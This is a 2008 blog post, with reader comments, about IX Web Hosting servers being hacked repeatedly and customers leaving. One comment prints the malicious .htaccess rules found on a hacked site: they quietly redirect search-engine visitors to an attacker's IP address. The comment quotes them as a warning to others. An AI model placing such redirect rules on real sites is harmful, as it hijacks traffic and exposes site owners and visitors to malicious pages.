IX Web Hosting Warning

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IX Web Hosting Hacked

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IX Web Hosting has been  continuously hacked since April of 2008. Thousands of innocent paying customers are furious because of the way IX web hosting has handled the situation.
It has been a well known fact that hackers have seeded and are using IX web hostings servers to inject various scripts into every file on the vunerable server, infecting 1000’s of sites.

I myself had 7 personal  business accounts ( about 60 sites) with IX webhosting, I had them for 4 years, the first 3 years was plain sailing, I was happy with the service provided, and apart from the everyday minor hiccups, things went as they should have.
The trouble started this year 2008 when IX moved all their servers to a new location.

The sheer hosting hell that followed will be posted in the coming days / weeks / months / years

I will be posting links to other topics, printscreen images of support tickets, Emails between myself and IX web hosting, and links for innocent duped customers to file complaints against ixwebhosting.  

Please leave genuine feedback about your experience  with IX web hosting.

December 10, 2008 - Posted by neverixweb | IX Web Hosting | , , , , , , , | 8 Comments

8 Comments »

  1. Those lying motherf’rs. Maybe someone could have clued in their Ukraine based help support personnel of the issues instead of telling them to blame thier customers. Assholes.

    http://duf.net/wp/?p=2121

    Comment by Duf | December 13, 2008

  2. Beware for your site being hacked and .htaccess file change to redirect only search engines. Normal users don’t see a difference.

    How IX web claim a 99.9% hack free system is beyond me as I see from numerous blogs this is a common problem

    My site was hacked and .htaccess changed to

    RewriteEngine On
    RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
    RewriteRule .* http://89.28.13.205/go.php?s=uu1 [R,L]

    As this redirects all search engines to the hackers site
    http://89.28.13.205/go.php?s=uu1 (http://uptodate-protection.com) your site will clearly stop featuring in all search engines.

    Comment by Alex | December 17, 2008

  3. Cautionary tale, there may be other ways of ‘getting in’ to your site. The majority of open source applications on the market (osCommerce, PHPBB, WordPress to name a few ) all use TinyMCE as a WSIWYG editor in the administrative areas of their applications.

    A TinyMCE hack allows you to inject encoded PHP script and infect every file on that domain.

    I reported it some while ago.
    http://techblog.tonycollings.com/?p=39

    Comment by supert3d | January 22, 2009

  4. I too have had my web site hacked. I had several sites with the. One in particular only used static HTML with one contact us form (PHP). We had site monitoring services (HakerSafe). When we called to report that the server was hacked they played it off like it was our fault. What a punch of crap. The form submission only sent email and it was an in-house script that was extremely secure (have a good friend who does computer SA check our coding).

    Interesting how other accounts I had what were on the same server were also hacked. Each site was different in nature with different code. No public scripts. The same run around was given for all of them. Changed to a dedicated server, used the same code, and no hacking of my site since.

    IX Webhosting blows!

    Comment by Matt | February 6, 2009

  5. Just got hacked and using ixwebhosting. My content was picked up by google as some other URL that is now dead. I’m switching hosting companies ASAP.

    Comment by Mike D | April 29, 2009

  6. Thanks for this web warning, I’ve cancelled my IX account.

    Comment by Calais Tripper | May 12, 2009

  7. My website got hacked and replaced with something that spewed out viruses, I have just cancelled my account and switched over my domains to another registrar because I don’t even trust them for that.

    Comment by James | May 31, 2009

  8. I switched back in January because my sites kept being hacked since August of 08. What a shame they still haven’t corrected it. Thank goodness I switched. My clients were losing money!
    IX does suck!

    Comment by Crystal | June 4, 2009


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